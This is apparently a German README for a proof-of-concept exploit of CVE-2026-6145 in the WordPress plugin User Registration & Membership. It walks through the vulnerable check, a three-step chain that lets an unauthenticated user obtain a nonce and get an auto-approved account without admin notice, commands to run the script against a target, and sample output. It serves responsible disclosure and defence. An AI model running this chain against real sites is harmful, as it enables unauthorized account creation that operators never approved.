
Benutzerregistrierung & Mitgliedschaft <= 5.1.5 - Nicht authentifizierte fehlende Autorisierung zur Umgehung der Administratorgenehmigung über den Parameter 'action'
Proof-of-concept-Exploit für CVE-2026-6145, eine Fehlstelle in der Autorisierung des Plugins User Registration & Membership für WordPress (≤ 5.1.5), die es nicht authentifizierten Angreifern ermöglicht, die Admin-Freigabe bei der Erstellung neuer Benutzerkonten zu umgehen.
| CVE-ID | CVE-2026-6145 |
| CNA | Wordfence |
| Schwachstelle | Fehlende Autorisierung – Umgehung der Admin-Freigabe |
| CWE | CWE-862 (Fehlende Autorisierung) |
| CVSS 3.1 | 5.3 Mittel (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) |
| Betroffen | User Registration & Membership für WordPress – alle Versionen ≤ 5.1.5 |
| Behoben | Version > 5.1.5 |
| Forscher | Anthony Cihan – Offensive Security Lead, Obviam |
| Offenlegung | Wordfence Responsible Disclosure Program |
| Veröffentlicht | 2026-05-14 |
Die Methode is_admin_creation_process() in includes/class-ur-user-approval.php ist die einzige Instanz, die bestimmt, ob eine neue Registrierung als vom Administrator initiierte Erstellung behandelt werden soll. Wenn diese Methode true zurückgibt, treten zwei Nebeneffekte auf:
set_user_status() setzt den Status des neuen Benutzers auf APPROVED und überspringt damit die Warteschlange für ausstehende Genehmigungen.send_request_notification_to_admin() unterdrückt die Administrator-Benachrichtigungs-E-Mail für die neue Registrierung.Die Methode selbst enthält in Version 5.1.5 keinerlei Authentifizierung, Autorisierung oder Nonce-Überprüfung:
// includes/class-ur-user-approval.php:459-461
protected function is_admin_creation_process() {
return ( isset( $_REQUEST['action'] ) && 'createuser' == $_REQUEST['action'] );
}
Da $_REQUEST $_GET, $_POST und $_COOKIE zusammenführt, kann ein nicht authentifizierter Angreifer diesen Check erfüllen, indem er ?action=createuser an die URL einer Registrierungsformular-Übermittlung anhängt. Das Plugin genehmigt dann das Konto automatisch und benachrichtigt den Administrator nie.
Während sich CVE-2026-6145 speziell auf die fehlende Autorisierung in is_admin_creation_process() bezieht, erfordert eine vollständige nicht authentifizierte Ausnutzung gegen ein abgesichertes Registrierungsformular die Verkettung mit zwei zusätzlichen Problemen in derselben Plugin-Version, die der beigefügte PoC automatisch behandelt:
| Schritt | Problem | Zweck |
|---|---|---|
| 1 | Nicht authentifizierte Nonce-Generierung über den wp_ajax_nopriv-Endpunkt user_registration_get_recent_nonce (nur Referer-Prüfung) | Erlangen einer gültigen ur_frontend_form_nonce ohne authentifizierte Sitzung |
| 2 | Umgehung der AJAX-Nonce-Prüfung, wenn ur_fallback_submit im Formular-Handler nicht leer ist | Übermittlung der Registrierung über den Fallback-Pfad ohne gültigen AJAX-Referer |
| 3 | CVE-2026-6145 – action=createuser in $_REQUEST setzt is_admin_creation_process() auf true | Auto-Genehmigung des neuen Kontos und Unterdrückung der Admin-Benachrichtigung |
Das Ergebnis: Ein vollständig genehmigtes Benutzerkonto, erstellt ohne Administrator-Interaktion oder -Benachrichtigung, auf einer Seite, die explizit eine Admin-Freigabe für neue Registrierungen verlangt.
requestsdata-form-id sichtbar)git clone https://github.com/<your-username>/CVE-2026-6145.git
cd CVE-2026-6145
pip install requests
python3 poc_admin_approval_bypass.py <target_url> <form_id>
Beispiel:
python3 poc_admin_approval_bypass.py http://wp.example.lab 7
======================================================================
User Registration v5.1.4 - Admin Approval Bypass PoC
CVE: 2026-6145 | CWE-862
Affects: User Registration & Membership <= 5.1.5
======================================================================
[*] Target: http://wp.example.lab
[*] Form ID: 7
[*] STEP 1: Obtaining nonce via unauthenticated AJAX endpoint
[+] SUCCESS: Got valid nonce for form 7: a1b2c3d4e5
[*] STEP 2: Registering user with admin approval bypass
Username: poc_bypass_1747249200
Email: [email protected]
[+] Registration request processed (HTTP 200)
[*] STEP 3: Verifying user was created
[+] CONFIRMED: User 'poc_bypass_1747249200' exists in the database
======================================================================
RESULTS
======================================================================
Unauthenticated Nonce Generation: CONFIRMED
AJAX Nonce Bypass: CONFIRMED
Admin Approval Bypass (CVE-...): CONFIRMED
[!] User was created with AUTO-APPROVED status
[!] Admin was NOT notified of this registration
======================================================================
Nach dem Ausführen des PoCs melden Sie sich bei wp-admin an und prüfen Sie Users → All Users:
Auf WordPress-Seiten, die die Admin-Freigabe als primäre Hürde gegen unerwünschte Kontenerstellungen nutzen – üblich bei Mitgliederseiten, geschlossenen Communities, internen Portalen, B2B-Plattformen und jeder Seite, die vor dem Zugriff eine Identitätsprüfung erfordert – neutralisiert diese Schwachstelle diese Kontrolle stillschweigend. Zu den konkreten Konsequenzen gehören:
Der CVSS-Score spiegelt nur die Auswirkungen auf die Integrität wider (kein direkter Verlust der Datenvertraulichkeit oder Dienstunterbrechung), aber die tatsächlichen Auswirkungen skalieren mit der Abhängigkeit der betroffenen Seite vom Genehmigungsworkflow als Sicherheitsgrenze.
| Version | Status |
|---|---|
| ≤ 5.1.5 | Anfällig |
| > 5.1.5 | Beheben |